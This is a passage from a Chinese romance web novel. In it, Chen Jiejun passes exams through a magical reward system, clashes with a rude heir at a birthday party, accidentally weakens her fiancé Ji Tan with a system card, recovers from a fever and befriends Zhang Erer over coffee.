她便要闪亮登场,最好亮瞎他们的狗眼。早在决定出席的时候,她就订好了礼服,那位设计师与她私交不错,听说要赊账的时候犹豫了会,最终还是松了口,好歹让她率先拿下一条不错的裙子,想想今天也该寄到了。
还有半个小时开始考试,她去洗手间用冷水洗了个脸,又把错题本看了一遍,考试前十分钟,她被传送进系统准备好的考室。
她第一次进入这样的考室,整个空间除了一桌一椅一台电脑还有一个她之外,全是白茫茫的一片,仿佛整个世界只剩下她一个人。
陈结君深吸口气,随着系统播报的声音,聚精会神地开始考试。
考试模式与现实世界一模一样,只是系统给她提供了独立的考室,且她做题的速度很快,偶尔有点卡顿也都不超过十分钟,很快就做好了一套卷子,反复检查几遍后,估摸着能有八十分才进行第二门考试,就这样反复检查估分,直到考试时间结束前一分钟她才交了卷子,被传送回来。
卷子查得快,陈结君还没来得及吃完泡面,玉镯就亮了。
是成绩出来了。
【恭喜宿主以优异的成绩通过考试,成功获得一本初级证书。】
“考过了!”她“唰”一下站起来,小桌子被她的动作推歪,桌上的泡面汁洒了一片,她也不恼,等收拾好后才想起什么,忙敲了敲玉镯,问:“等等!你说优异的成绩?是我想的那个意思吗?”
【那个意思是什么意思?】
“这都不懂,你还是不够智能。”陈结君换了个问法,“我的成绩是多少分?”
【经济学基础88,初级会计实务90。】
“那我是不是有双倍奖金?!”
【是的,奖励已发放,请留意查收。】
与此同时,正在开会的季潭听见系统的播报:【恭喜宿主,小树苗成功获得证书一本,宿主积分+10】
这头陈结君等了会,刚按耐不住要问系统怎么查收奖金,就收到了银行的短信,是到账的信息!
就这么直观的、水灵灵的到账了!
她算了三遍,奖金一分不差,当即把定制礼服的钱转给设计师,然后给张屿发消息:姐的第一桶金到手了,请你吃大餐!
张屿飞速发来一个问号。
陈结君:姐知识变现了!
下一秒手机响起,是张屿打来的。
“陈结君女士,你是中彩票了吗?”
“承你吉言,但这次不是。”陈结君道,“总的来说,我这叫知识变现!”
“你是不是投资了?可别被人骗了啊,最近大环境不好,骗子倒是越来越多了。”
“我没那么傻,更没钱投资。你就放心吧,大餐吃不吃?”
张屿答得铿锵有力:“吃!”
一个小时后,两人在一家餐厅碰头。
张屿看着人均五百的自助餐招牌,扭头对陈结君道:“这就是你说的大餐?”
“嗯,目前只吃得起这种规格,等我摆脱了李家再请你吃顿更好的,现在嘛,”陈结君举起橙汁,道,“先庆祝我赚到了第一桶金!”
张屿笑道:“恭喜!等你发达可别忘了我的大餐啊,要万元起的那种!”
“没问题,等你成了百万主播,也别忘了我!”
两个杯子碰到一起,为两人的饱餐之旅拉开帷幕。
“对了,你是不是有个艺名啊?”
张屿往嘴里塞了块牛肉,头也不抬:“姐的艺名多了去了,你问哪一个?”
“赵笙笙。是你吧?”
“咳咳……”张屿被呛得忙端起水杯喝水,好一会才缓过来,“你听谁说的?”
果然是这个渣女,陈结君说起静安寺的帅气小道士,摇头叹息:“我当时还没反应过来,回想起来才觉得不太对劲,没想到你连道士都不放过。”
张屿毫无形象地翻了个白眼:“是他先招惹我的,再说了,我们已经是过去式了。”
“这才过了多久,你又把人甩了?”陈结君朝她竖起大拇指,“佩服,佩服!”
“你话真多,时间就是金钱,吃饭吃饭!”
半个小时后,餐桌上的战争宣布暂停,两人靠坐在餐椅上,陈结君摸着隆起的小腹道:“吃不动了,真吃不动了。”
张屿两眼放空,声音微弱:“谁不是呢!”
“糟了!”陈结君突然坐直身子,手按在小腹上,惊恐道,“我的小腹明天怕是消不下去了!”
“急什么,过两天不就沉下去了。”
陈结君扭头看着她,犹豫片刻,道:“那个,我跟你说个事啊。”
“放!”
陈结君看了她一眼,道:“你还记得去年李秀秀在酒吧被人围堵的事吗?”
张屿瞪她,“你还好意思提!那会你没跟我说一声就跑过去,多危险啊,要不是张……”
“等等,”张屿眯起眼,“你提她做什么?说,是不是要去参加她的生日宴?”
陈结君嘿嘿一笑,起身绕到张屿身旁,不顾她的反抗挤着坐下去,拉起她的胳膊强行挽住她的手道:“我们小岛果真是料事如神,神机妙算,聪明机敏,美若天仙……”
“停!打住!你就回答我是不是?”
“我本来想发个红包就算了,可是她再三邀请,我就当还她个人情,去露个面就走。”陈结君说着,小心观察张屿的脸色,感觉自己像在哄老婆,心里这么想,忍不住笑了一下。
张屿斜眼睨她,“去参加张尔尔的生日宴这么高兴?”
“哪有,我只是在想,你现在的样子好像一个拈酸吃醋的小娘子,哈哈哈哈!”陈结君笑着躲过张屿的拳头攻击,但没躲开她的锁喉,忙求饶道,“错了错了,你轻点,可别把我勒死了!”
张屿松了手,
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面无表情道:“勒死算了!”
“无情!”
张屿压根没出力,但陈结君扔摸着脖子扁着嘴,可怜兮兮地卖惨。
陈结君的眼睛又圆又亮,浓密的眼睫毛自然翘起,眨巴眼睛看人的时候会让对方不自觉心软。张屿一直觉得她素颜更好看,可惜这丫头钟爱打扮,几乎每次见她都是带妆的,鲜少以真面目示人,还信誓旦旦地说这是美妆博主的职业素养。
话说回来,张屿正色道:“我记得你以前没参加过她的生日宴会,也不见她坚持要你去,为什么这次……”
陈结君听明白她的意思,道:“我也觉得奇怪,一开始我怀疑她和李秀秀那几个没品的人渣一样想看我出丑,但后来想想,去年被堵那次,她明知我跟你关系近,还愿意出手帮忙,感觉不是那种会落井下石的人。”
“这可不好说。”张屿用叉子狠狠戳了块牛排放进嘴里,待咽下后凉声道,“去年你还是陈大小姐,这会你只是陈小姐。”
“不会吧,这么险恶的吗?”陈结君夹起一块三文鱼,道,“要是真像你说的那样,我就毁了她的生日宴,让她知道什么叫你大爷还是你大爷!”
张屿被她逗笑了,“那我就等着看好戏啦!”
“你终于笑了。”陈结君一手拿着烤生蚝,一手托腮朝她挑眉,轻佻道,“小妞儿笑起来真好看。”
要是问陈结君这世上有谁会永远配合她,她一定毫不犹豫地选张屿。果然,张屿配合地作出娇羞状,夹着嗓子道:“大爷喜欢吗?”
陈结君猥琐地嘿嘿两声,“喜欢,本大爷最喜欢像你这样的小妞了!”
正演得起劲,耳边插进来一道声音:“那个,二位的用餐时间到了,请问是续费还是……?”
“这么快?!”陈结君看了眼手机,已经超时四十分钟了,她和张屿对视一眼,两人脸上都是遭雷劈的表情。
服务员看看这个又看看那个,不安地搓着小手,决定先问问“大爷”,她小心翼翼地开口:“这位大爷,您看……”
陈结君抽了抽嘴角,道:“走吧,小岛子,过来扶着我点。”
两人在服务员的注视下走出餐厅。
陈结君哭丧着脸念道:“一个人一千块的自助餐,一千块啊!我们后半场居然只顾着说话!至少浪费了一半的钱!”
张屿拍拍她的背,安慰道:“没关系,咱们下次再来,下次饿他个头昏眼花再来,一定能吃回本!”
“事到如今,也只好这样了。”陈结君心里好受了些,跟她一起往外走,没走两步又猛地停下,扭头对张屿道,“帝王蟹你吃了没?”
张屿摇头,道:“没。”
“芝士龙虾呢?”
“没有……”
“黑金鲍呢?”
“好、好像也没……”
“我也没吃!”陈结君泪眼汪汪,痛心疾首,“亏了啊!咱俩至少浪费了一千八!这钱用来买泡面能多到把我给埋了!”
张屿只得安慰道:“吃回来,下次一定吃回来!”
“那个……”
不知谁轻轻戳了下她的肩膀。
陈结君回头,见刚才那个服务员手里拿着两颗薄荷糖,给张屿和陈结君一人塞了一颗,想了想,又多给了陈结君一颗,低声道:“欢迎下次再来。”
陈结君道了谢,被张屿硬拉着往前走,还不忘对服务员挥手道:“我还会回来的!”
8. 误伤
到家时天已经暗了,陈结君到家没多久就接到设计师的电话,说是礼服马上就到,让她留意签收。
果然不到五分钟,门铃声响起。
陈结君没有多想,打开门才发现来送货的不是学徒,而是一个穿着黑西装,打扮很正式的高个子男人,看面相不是善类。陈结君心里一突,往后一缩就要关门,谁知那人动作更快,将东西往她怀里一塞,朝她鞠了个躬就离开了。
那人飞快按了电梯,却等不到三秒就飞快朝楼梯间走去,最后走楼梯离开了……
陈结君看着他消失在楼梯间,默默低头看了眼怀里的东西──是个包装精致的礼盒。
但那人一系列的操作让她不得不怀疑盒子里可能是炸弹。
她的住所被仇家发现了,所以找人给她寄恐怖箱子来了?
陈结君把盒子放门外,用食指和拇指小心翼翼地解开礼盒上的蝴蝶结,想了想,又把盒子推远了些,到玄关的花瓶里抽出一枝假花,蹲在尽量离盒子远的地方,撇开头,用花枝的末端小心挑开盒盖。
折腾了一小会,终于听到盒盖被掀开的声音,她小心睁开一只眼睛,飞速瞄了眼盒子,这一看不由惊住了,月白的盒盖只打开一小半,露出一小片粉纱,如古画中的一枝海棠,羞涩地探出头来。
跟她想象中的血腥玩偶、骷髅头全然相反。
她把盒子拿回家,打开一看,竟是一条精致的礼服裙,无论剪裁还是做工都能看出它价格不菲,只不过……陈结君纳闷了,她之前订的不是这条啊。
是送错了?还是设计师觉得这款更适合她?
但这条礼服看着不像这位设计师的风格。
抱着满腹疑问,陈结君拨通了设计师的电话,对方听说后却惊讶地说:“我让阿方送的就是您订制的那条啊,陈小姐,如果您不适合这款礼服,我一定会第一时间告知,我们绝对不会私自更换客人的单子。许是阿方拿错了,您稍等,我联系一下她。”
没过多久,设计师打来电话,说阿方还堵在路上,预计要半小时后才能到。
陈结君看着堆放在沙发上的礼服皱起眉,那这条裙子是什么情况?
是送错地方了,还是谁送给她的?
可是知道她要去参加宴会的应该只有张屿和张尔尔,张屿卡被家里冻结了,张尔尔和她还没有熟络到这种地步……
她想不出还有谁,只好检查一遍礼盒,这一看不要紧,包装纸下方竟还有东西,是一条粉宝石项链,好在项链底下压了一张字条,她拿起一看,眉头再次皱起,上面只写了两个字──“送你”。
“字真好看。”陈结君拿着这张字条研究半天也没认出是谁的笔迹,最后只能把字条和项链一起收回盒子里。
至于那条礼服,她不敢随意穿,拿在身上比划了一下,发现尺寸与她几乎一致,感觉不像是送错的。
她有一瞬间猜想或许是陈母,但张尔尔的生日宴没有请陈结梅,陈母更不会记得一个小辈的生日,再说了,即便她要送也会与她打个招呼的。
到底是谁啊,送衣服跟做贼似的?
就在她纠结之际,门铃再次响起,陈结君这回先看了猫眼,来人果真是阿方,她打开门,阿方见了她连声道歉:“来的路上堵车,很抱歉让您久等了,这是您的礼服,您看要不要先试试,看是否合身?”
陈结君与这位设计师合作过很多次,对她的手艺非常放心,打开盒子大致看了眼,道:“没问题,谢谢。”
回屋试了下这条黑色礼服,尺寸果然正好,款式也适合她,虽然材质不如那条粉色的金贵,但已经达到了她想要的效果。
第二天出门前,她把两个礼盒并排放在一起,盯着看了会,拿走了黑色那条。
还是穿自己买的更安心。
宴会定在“有志气会所”,听说是个富二代开的,因为家里长辈成天斥责他胸无大志,所以给会所起了这么个名字。这名字可起到富二代们的心里去了,试问谁家没有个望子女成龙凤的长辈呢?
有志气会所就这么在圈子里名声鹊起,成了富二代聚会的首选。
能来得起这里的人,开的都是名车,只有她一个是坐着出租车来的,这让她想起了灰姑娘。不过,她要是灰姑娘,一定拜仙女教母为师,等她学会了魔法,要什么样的王子没有?
她胡思乱想着,跟随侍者往里走,这地方她很熟悉,张尔尔的生日宴八成定在二楼。
果然,二楼拐弯处,张尔尔穿着月白色拖地长裙站在迎宾处,正笑着和人说话。
青城有两个张家,张尔尔所在的这个张家,便是以文娱产业为主的张家,人称“大张”。
小张家自然是张屿所在的,以酒店产业为主的张家。
有句话说得好,一山不容二虎。大小张家自然也是不容于水火,就连和家里割裂的张屿,也不愿与张尔尔有交集,张尔尔亦是如此。
所以她想不明白,张尔尔为什么会再三邀请与张屿关系很好的她来生日会。
张尔尔与人寒暄完,看见了电梯口的她,正朝她招手。陈结君笑着走上前,把准备好的礼物递给她,“生日快乐。”
“谢谢。”张尔尔拉住她的手,打量了一眼她的裙子,笑道:“今天很漂亮。”
“你更漂亮。”陈结君笑笑,在她的招呼下走了进去。来参加的都是年轻人,聚焦在她身上的目光比那天晚上更多,也更露骨。
陈结君粗略扫了眼,就看见好几个有过节的,还有些老面孔,这阵仗,不知道的还以为是“陈结君审判大会”呢。
“我说,张家的宴会档次是越来越低了啊,什么人都能来!你说是吧,陈小姐?”
“陈”字还加了重音。
好好好,又开始了。
陈结君朝声音的来源看去,是个穿花衬衫的公子哥,看着有几分眼熟,但她想不起对方是谁。
说明对当时的她而言这人没什么战斗力,构不成威胁。
陈结君收回目光,从经过的服务生托盘中拿了杯酒,浅浅抿了一口。
脱离陈家已经有大半个月了,许久没喝到这样的好酒,今天可得多喝几杯。
她视若无睹的态度惹得花衬衫下不来台,推开身边的人几步上前,高声道:“我跟你说话呢,聋了?!”
他这一吼,原本和谐的大厅安静了一瞬,张尔尔请来的乐队很有水平,只停顿了一瞬,就默契地把悠扬的乐声换成了欢快的。
张尔尔踩着欢快的乐声进来时,就见由花衬衫领头的一群人气势汹汹地围在甜品台旁,而被围的陈结君一个人若无其事地坐在旁边的沙发上,手里还端着酒杯,就差摇晃几下再吐个烟圈了。
一对几,气势倒是不输。
但她不再是陈家的人了,再这样僵持下去只会吃亏。
而她的生日宴……呵!早在接到那人的电话时,她就知道这个生日别想好过了。
张尔尔心如死灰,真不知道季潭是怎么想的,竟然把自己的未婚妻弄到这样的宴会上,再怎么说他们也还没解除婚约,自己的未婚妻被人刁难很有面子吗?
可惜张家虽不必在季潭手底下讨生活,但到底得罪不起,她也只好以旧情相请,对不起陈结君了。
现在陈结君刚来,两边就对上了,花衬衫见她不理会,又上前叫嚣了几句,身边还有人起哄。
如果陈结君还是置若罔闻,只会让他们更加看轻。
到底是自己请来的人,张尔尔端起笑脸上前打圆场。
“大家怎么聚在这儿,是在等我吗?”张尔尔笑吟吟地拿了个小蛋糕走到花衬衫身旁,道,“怎么脸色那么难看,是我这儿的蛋糕不合你心意?”
花衬衫见了她,脸色有些缓和,道:“尔尔,你
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办的是生日会,可不是慈善机构,怎么聋哑人也往里带?”
这话说得过分了。张尔尔微微皱眉,半是警告半是玩笑道:“杨少真会开玩笑,要是季总知道他的未婚妻被人这么编排可就不好了。”
“杨少?”
一道轻轻的,带着几分疑惑的声音从身后响起,张尔尔转身,就见陈结君抬着头,一双如山雾般的眼盯着花衬衫,疑惑道:“青城什么时候出了个杨家,我怎么没听说?”
张尔尔脸上的笑都快维持不住了,这位姑奶奶,您36度的朱唇如何能说得出这么扎人心窝的话?
杨家原本做些不咸不淡的园景生意,近来乘着智能开发的东风赚了一笔,虽然算不上青城的豪门圈子,但众人也都愿意给几分脸面,好听话听得多了,人自然也就飘了。
本是寻常的商业吹捧,被陈结君这么轻飘飘的一句话戳破,杨家便显得自以为是,不识好歹了。
“你什么意思?!”杨少怒极反笑,“本想看在尔尔的份上给你几分脸面,既然你给脸不要脸,那就别怪我了。你一个被逐出陈家的假凤凰,还以为自己是富家千金,不可一世的陈大小姐吗?”
大厅中有人倒吸一口气,陈家事发以后,大多数人都在观望,本来像陈家这样的家底,就是再来十个女儿也养得起,因此虽然不少人暗地里笑话陈结君,但也只敢暗地里笑话几句,毕竟陈家还没有表态。
谁知陈结君竟当众宣布脱离陈家,陈家人也没有反对,而季潭虽然当众承认了他们的婚约,但那场宴会后二人就没再同框过,可见季潭只是君子之风,不好当众驳小姑娘的面子罢了。
现在的陈结君就彻底成了没有背景的普通人,这样的人还敢来参加宴会,怪不得被人耻笑了。这样露骨的耻笑恐怕是第一次传到陈大小姐耳朵里,想起以往陈结君抬着下巴不可一世的模样,大家就忍不住想看她的反应。
陈结君心里清楚,她第一次脱去豪门光环出现在这样的地方,如果不给这些杨少张少李少一点颜色看看,日后只会招来更多仇家的报复。
好在她早有准备,在来之前完成了今明两天的学习计划,拿到系统给的奖励卡。
不就是一点小小的刁难吗?
没在怕的!
“我确实不是陈家的人,”陈结君将剩余的酒一口喝完,酒杯“啪嗒”一声放在桌上,她看着花衬衫瞬间得意的脸,缓缓道,“但礼义廉耻我还是懂的,开口闭口说人是非者,就算有几个钱,也守不住多长时间,你说是吧,张少?”
“你喊我什么?!”
陈结君眨眨眼,“张少啊,不对?那……李少?”
张尔尔默默挪到距离最近服务生旁,低声道:“快去叫几个保安来。”
幸好在这里工作的服务生都是机灵的,应了一声便打开对讲机往门外走去。
而杨少已经怒不可遏,几步逼近陈结君,咬牙道:“你再给老子装!”
有几个人见势不对,已经上前拉住杨少,以防他冲动做出什么行为,陈结君却像看不见眼前的危机一般,一双无辜的眼看着眼前人,嘴里的话却能把人气死:“我就装,你能拿我怎么样?”
杨少被她一激,只觉得下不来台,抬手捞起一旁的花瓶朝陈结君砸过去。
就是现在!陈结君点亮卡片──柔若无骨!
随着系统的提示音,卡牌生效。
众人只见杨少捞起花瓶朝陈结君砸去的一瞬间,有道黑影飞速窜出,挡在陈结君面前,抬手扫开了花瓶。
随着花瓶破碎的声音,众人看清了来人的容貌。
是季潭!
众人惊呼。
而陈结君清晰地看见一道本应飞进杨少身体里的白光窜进里眼前男人的身体……
下一秒,在她面前徒手扫去花瓶,令她滴水未沾的帅气男人“扑通”一声,跪下了。
9. 发烧
跪下的那一瞬间,整个会场鸦雀无声。
杨少看见来人,手一抖,紧接着膝盖一软,跟着跪下了。
陈结君坐在沙发上,呆楞地看着跪地的两个男人,很想说一声“众爱卿平身”。
但是,她看着低头看不清表情的季潭,这次可把人坑惨了。
她是要跟他解除婚约,可不是要跟他结仇,幸好没人知道系统的存在,顶多认为是巧合,就算是季潭本人,也只会怀疑身体出了问题。
她定了定神,上前把人扶起来,关心道:“季总,没事吧?”
“没事。”季潭撑着她勉强站起来,身体却不受控制地酸软,好像浑身的力气都流尽了,此刻能站起来全凭他过人的意志和陈结君这个人形支柱。
他立刻敲出系统,问:“怎么回事?”
系统陈述道:【小树苗对你使用了卡牌奖励。】
季潭飞快回忆刚才的情形,很快搞清楚这是个误会,陈结君要用在别人身上的卡牌阴错阳差用在了他的身上。
他问卡牌的功能和时效,系统却表示这是小树苗的隐私,他无权知道。
陈结君轻柔的声音在耳边响起:“季总,你还是到休息室坐会吧?”
季潭低低应了一声,陈结君得到回应,扭头看了眼站在一旁当柱子的男人,如果她没记错,这人好像是季潭的助理,她开口道:“季总可能磕伤了膝盖,麻烦你帮忙扶一把。”
孟鑫看了眼季潭,见他没有反对才上前接手。
陈结君身上的重担卸下,顿时一身轻松,季潭看着高瘦高瘦的,怎么这么重!
她看了眼倒霉的未婚夫,心想这会谈解除婚约也不合适,况且她还要收拾残局,便对孟鑫道:“那季总就交给你了。”
她回过身看向还跪坐在地的杨少,才发现他竟然不小心跪在一块碎瓷片上,这会这捂着膝盖疼得冷汗直冒,但季潭的出现吸引了所有人的目光,没人发现他受了伤。
陈结君正要开口嘲讽几句,手腕却被人轻轻握住,微凉的触感让她微微皱眉,下意识甩开,转过头才知道拉她的人是季潭。刚才一直低着头,让人看不清神色的他此刻正目不转睛地盯着她,他的目光像一潭死水,不起半分波澜,可她分明看见那潭漆黑的死水之下,有什么东西在涌动着,不安着。
“你跟我来。”季潭说完便被孟鑫扶着朝休息室走去。
陈结君站在原地内心小小地挣扎了一下,还是决定先爽了再说。
她没有跟上去,而是抬起下巴,用鼻孔对着地上的杨少,冷冷道:“人都走了,怎么还跪着,拜年啊?”
杨少被气得脸一阵红一阵白,要是换做往常,他一定不会放过陈结君,但季潭的出现打乱了形势,都说他们是没有感情的商业联姻,可季潭三番四次帮陈结君解围又是为了什么?
这或许也是在场所有人心中的疑问,他出手帮忙仅仅是因为绅士风度?可他向来冷冷淡淡的,往日也没见他对哪个女人有过风度,又或是他认为在没有解除婚约前,陈结君再怎么样名义上也是他的未婚妻,所以容不得别人欺负她?
无论出于什么原因,季潭已经表明了态度,他们就不能做得太过,特别是杨家近来做得红红火火的智能开发是凭借季潭手头的一点资源,他得罪不起。
陈结君见他气得要命还不能反驳的样子,心里爽快不少,摆摆手说了刚才一直想说的话:“不必多礼,平身吧!再跪下去也没有压岁钱哦!”
说完她身心舒畅,也不管在场的人都是什么脸色,转身朝季潭的休息室走去。
孟鑫见她进来便自觉退了出去,还贴心地关上了门。
陈结君一眼看见靠坐在沙发上的季潭,有些意外地挑了下眉。印象中他的头发总是一丝不苟的,乖顺地待在该待的位置,现在额前的碎发有几缕落下来,衣裳也不似往日平整,是一看就很舒服的姿势,助理似乎挪动了桌子,为了让他的一双大长腿可以肆意安放。
这跟以往的季潭有些不一样,以前的他无论举手投足都像一颗笔直的松,有永不折腰的韧劲,现在这副模样倒向一株慵懒的古树,随意地伸展着它的枝桠。
是因为卡牌让他无力支撑以往的坐姿吗?
不知怎的,她一想到季潭坐在沙发上使不出一点力气,臭着脸任助理摆布的样子就想笑,她的嘴角才隐晦地上扬了一点点,就听季潭道:“笑什么?”
“没什么。”陈结君收敛了神色,季潭柔若无骨的样子让她放下了防备,说话也更直接了些,“是你让张尔尔邀请我来的?”
今晚张尔尔并没有对她释放恶意,反倒处处帮着她,她正想不通时,季潭就出现了,一出现就帮她挡花瓶,想必是有话要跟她说。
毕竟是张尔尔的生日宴,又不是张伯父的,还不至于劳他大驾吧?
果然,季潭很大方地承认道:“是。”
她了然,拉过一张高脚皮凳坐下,居高临下地看着季潭,继续说出心里的猜测:“就为了婚约的事?”
季潭心里一突,抬头看她,“你怎么知道?”
还真是为了解除婚约,他承认了,还算是个坦率的人。正好,今晚就把事情说清楚,也省得再见一次。
陈结君深吸一口气,正要开口,手机铃却响了,她看了眼,是张屿的电话,但对面说话的声音却是个男人。
对方说张屿喝多了,紧急联系人是她,问她能不能过去一趟。
陈结君挂了电话,对季潭道:“我有急事,婚约的事咱们过几天再说,你放心,我跟你的想法一样,一定会给你满意的答复!”
她说完不等季潭反应过来,急忙走了。
季潭想跟上去,却发现身上的力气还没有完全恢复,只好作罢。
他把陈结君的话在脑子里又过了一遍,还是摸不透她的想法,但她是个聪明人,目前对她而言,与自己维持婚约才是最有利的。更何况,他在陈家的宴会上当众承诺婚约不改,今天她走之前又说和他的想法一样,由此看来,姑姑说的话都是诓他的。
姑姑向来喜欢开他的玩笑,这次却是开大了,害他做了好几天恶梦。
孟鑫进来时,就见自家老板神色如常,不知在想什么。没有冷脸也没有吃糖,看来心情不错,刚才见陈结君匆匆跑出去,还以为她和老板谈崩了,看来是他多虑了。
他默默松口气,就见老板站起身朝门外走,他忙跟上,“老板,去公司吗?”
“不,回家。”
他要好好补一觉。
这头陈结君匆忙赶到酒吧,就见张屿八爪鱼似的挂在酒吧门口的一根柱子上,身旁是被她拉着一脸苦色想走又不敢走的服务员。
她连忙上前把张屿的手掰开,服务员终于重获自由,还算负责地跟她核实了身份,确定她是张屿的朋友后才回酒吧。
陈结君打了一辆出租车,把张屿塞进车里,自己跟着坐了进去,报了张屿家的地址。
一路上张屿在车里哭天喊地,痛诉婚姻的十大弊端,到了下车的时候她已经讲到了第九条,陈结君哄着她下了车,扶着她进家门后,也算把她今天买醉的原因听明白了。
小道士竟然逼婚了!
她看着躺在床上逐渐睡去的张屿,感慨又佩服:“能让一个道士逼婚,你也算是古今第一人了吧。”
担心张屿再爬起来撒酒疯,陈结君决定留宿一晚,
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反正张屿家的客房一直为她留着,衣柜里还有她换洗的衣物。洗漱过后,她躺下没多久就睡着了,再睁眼时居然已经是第二天下午一点多了。
张屿给她留了纸条,说是要去庙里找小道士说清楚,陈结君没有多留,换教练后的练车场离自己家远了点,但离张屿家却挺近,正好过去练车。
新教练是个不苟言笑的人,但他尊重人,脾气也没那么暴躁,比上一任好多了。可惜隔壁的邻居没来,准备换教练时她特意去问了,但对方好像有了阴影,暂时不打算考驾照了。
练完车回家时天还早,她本想接着刷课的,但不知怎的躺在沙发上不到两分钟就陷入梦乡,这一睡竟到第二天晚上才醒过来,当时她就觉得浑身无力,身体烫得仿佛下一刻就要冒烟了,嗓子也疼。
她费力地爬起来,幸好冰箱还有前天早上没吃完的方包,她也顾不上有没有过期,逼着自己吃了几口,又撑着身子走到柜子旁找了盒退烧药吃了,接着灌了两大杯水,才躺回床上睡觉。
害怕自己发生意外,她特意设置了闹钟,还给张屿发了短信,让她三个小时后打电话过来,办完这一切后,她才安心地睡过去。
两个小时后,她被闹钟吵醒,起来量了体温,好在退烧药见效,这会已经变成低烧了。她感觉状况还行,就给自己点了份外卖,然后简单洗漱了一下,已经很久没有这样生病过,或许是最近太累,才会这么突然地病倒。
而另一边,季潭收到系统的报告,拧紧了眉,抓起车钥匙就要出门,他还是没忍住,通过张尔尔知道了她的住址,但系统一句话却让他停了脚步。
【根据子系统报告,小树苗这两天不打算出门哦。你要是去了,怎么向她解释你知道她住址这件事?】
季潭放下车钥匙,打了个电话,对电话那头的人道:“陈结君感冒了,让你表姐买点药送过去……好,药名我一会发给你,谢了。”
孟鑫笑道:“放心,保证完成任务!”
病来如山倒,陈结君决定休养两天,还好系统人性化,检测到她生病后把学习计划延后了,说是必须康复以后才能继续学习。
她就这么窝在家里过了两天,这两天她还在反复发烧,吃喝都是叫的外卖,不过有件事挺出乎她的意料,在她生病第二天,张尔尔打来电话,想为生日宴的事道歉,是她没有考虑周全才让陈结君在宴会上被人刁难,陈结君早在去之前就料到要面临的情况,何况她没有吃亏,于是告诉张尔尔不必介意,她没有放在心上。
谁知就这么两句话,张尔尔竟然听出她声音不对劲,问她是不是生病了,陈结君说只是小感冒,没什么大事。一个小时后,张尔尔竟叫了跑腿给她送药,整整两大袋,还有不少维生素和保健品。
倒让她觉得不好意思了,刚还的人情,这会又欠下了。
奈何张尔尔盛情难却,说就当是为生日宴的事向她道歉,陈结君也不好再推辞,正好家里的感冒药没剩多少,她便收下了,因着这事,这两天和张尔尔的关系倒亲近不少。
最近气温升高,窗外的雪也化尽了,感冒已经到了第五天,陈结君感觉鼻子像糊上了厚厚的水泥,每天被迫张嘴呼吸,让她怀疑自己已经变成一条案板上苟延残喘的鱼。烧退后,她想起落下三天的功课,想尽量补回,奈何看了一会课程就觉得头疼脑热,两眼昏花,最后只得放弃。
拿起遥控随手一按,跳到了天气频道,天气预报的主持人穿着整齐喜庆的水红色职业装,正满面笑容地播报春天即将到来的喜讯,陈结君看了会,调到一个人多热闹的频道,也不管什么内容,只要热闹就好。
才足不出户五天,她已经活像个孤寡老人了。
10. 邀请函
这场抗病毒战役打了整整一个多星期,陈结君才完全康复,病愈后第一天,她特意化了精致的妆容,找出水蓝色的毛衣裙,套上白色靴子,想了想,在玄关处挑了一个白色的小包包背上,心情美美地出门去。
在她生病这几天,张尔尔不仅送药,还每日嘘寒问暖的,她总要感谢一下人家,思来想去,太贵重的她送不起,太便宜的对方也看不上,她在二者之间纠结了会,选择送一套护肤品,至少实用。
在张尔尔得知后却说:“不如你请我喝杯咖啡吧。”
陈结君自然没有意见。
今天是个晴朗的日子,陈结君坐地铁来到市中心的咖啡店。
这家店是她选的,店内摆放了许多布艺玩偶,很受欢迎。
老板的货源足,手艺更好,什么样式的咖啡都能给你整出来。最重要的是,这家店一天只接待一桌客人,也就是说,只要来这里喝咖啡,就等于包场一天。
当然,咖啡的价格更高。
陈结君是掐着点到的,她来的时候,张尔尔已经在店里坐着,隔着橱窗朝她招手示意。
“抱歉,久等了。”她笑着拉开椅子,随手在菜单指了一杯拉花很好看的咖啡,把菜单递给朝对面的张尔尔,“你喝哪个?”
张尔尔朝老板笑道:“还是老规矩。”
“好的。”老板会意,笑着点头离开。
陈结君看着他俩互动,有点好奇:“你们认识啊?”
“我是这家店的熟客,你说要约在这里时我很惊讶。”张尔尔开玩笑道,“没想到我们对咖啡的审美一致,你也喜欢咖啡吗?”
“我偶尔喝,不太在行。还好你喜欢,那这地方算是选到你心里去了。”陈结君笑了,她生得浓眉大眼,皮肤白嫩如玉,笑起来的时候杏眼弯弯,让人看了心情也跟着好起来。
张尔尔第一次见她这样笑,和以往的社交假笑截然不同,不由愣住:“你笑起来真好看。”
“谢谢,但我不笑的时候也很好看。”陈结君这话说得理直气壮,偏偏语气没有一点攻击性,是真正发自内心这么认为的,听了只让人觉得率真可爱。
张尔尔被她逗乐了,这样的陈结君与她印象中的截然不同,她心里知道,陈结君这是真心想和她交朋友,或许是因为这几日的联系让二人更加亲近。
只是她一想起这几天的关怀其实是受人所托,就觉得有些愧疚,虽然后来她是真的关心陈结君,也是真心想和她交朋友,但开始的目的总归不纯。
这时有店员端上两杯咖啡,店员是个圆脸女孩,似乎也与张尔尔熟识,放下咖啡后笑道:“尔尔,后天的交流会你还来吗?”
张尔尔笑吟吟道:“放心,我一定准时来!”
陈结君疑惑道:“什么交流会?”
她知道张尔尔几个月前已经进了张家集团工作,难道这家咖啡店是张家的产业,会在固定时间用来交流培训之类的?
这家咖啡店一周总有两三天不营业,她还以为是老板任性,没想到是关起门来偷偷卷啊,她看张尔尔的眼神多了几分敬意,这样的张家跟季潭一定很合得来吧。
不知道他们两家谁更卷一些。
张尔尔跟服务员说完话,转头见她一双水灵的大眼里满是敬佩,不知脑补了什么,于是倾身朝她小声解释:“这里的老板是很厉害的咖啡师,我在跟他学做咖啡呢。”
陈结君膛目结舌:“学、学做咖啡?”
这是什么新的商机吗?
“嗯。”张尔尔笑容多了几分腼腆,眼睛亮亮的,轻声道,“我很喜欢咖啡。”
“不过,我在这里学做咖啡的事,你要帮我保密哦!”张尔尔朝她眨眨眼,道,“被我爸知道我就完了。”
原来是个人爱好啊,听她话里的意思,张家似乎反对她学这些,上学时就听说张家想安排张尔尔学医,张尔尔闹了一阵,最后还是妥协了。
但她后来并没有从医,张家的安排落空了。
“懂的,一定帮你保密,我嘴可严实了!”陈结君朝她眨眨眼,两人都忍不住笑了。
张尔尔说:“你和我想象中不太一样。”
“你也是。”陈结君喝了口咖啡,老板果然是个高手,奶味和咖啡豆的香气融合得恰到好处,比她以前喝过的卡布奇诺都要好喝。
张尔尔见她又喝了一口,知道她喜欢,笑着说:“这款我已经学会了,下次来我家,我做给你喝。”
“好啊!”
两人聊了许多,不知不觉已经过去两个小时,陈结君还要去学车,告别时,张尔尔忽然叫住她,问:“季总的生日宴,你会参加吗?”
陈结君拎起桌上的小包,错愕道:“生日?”
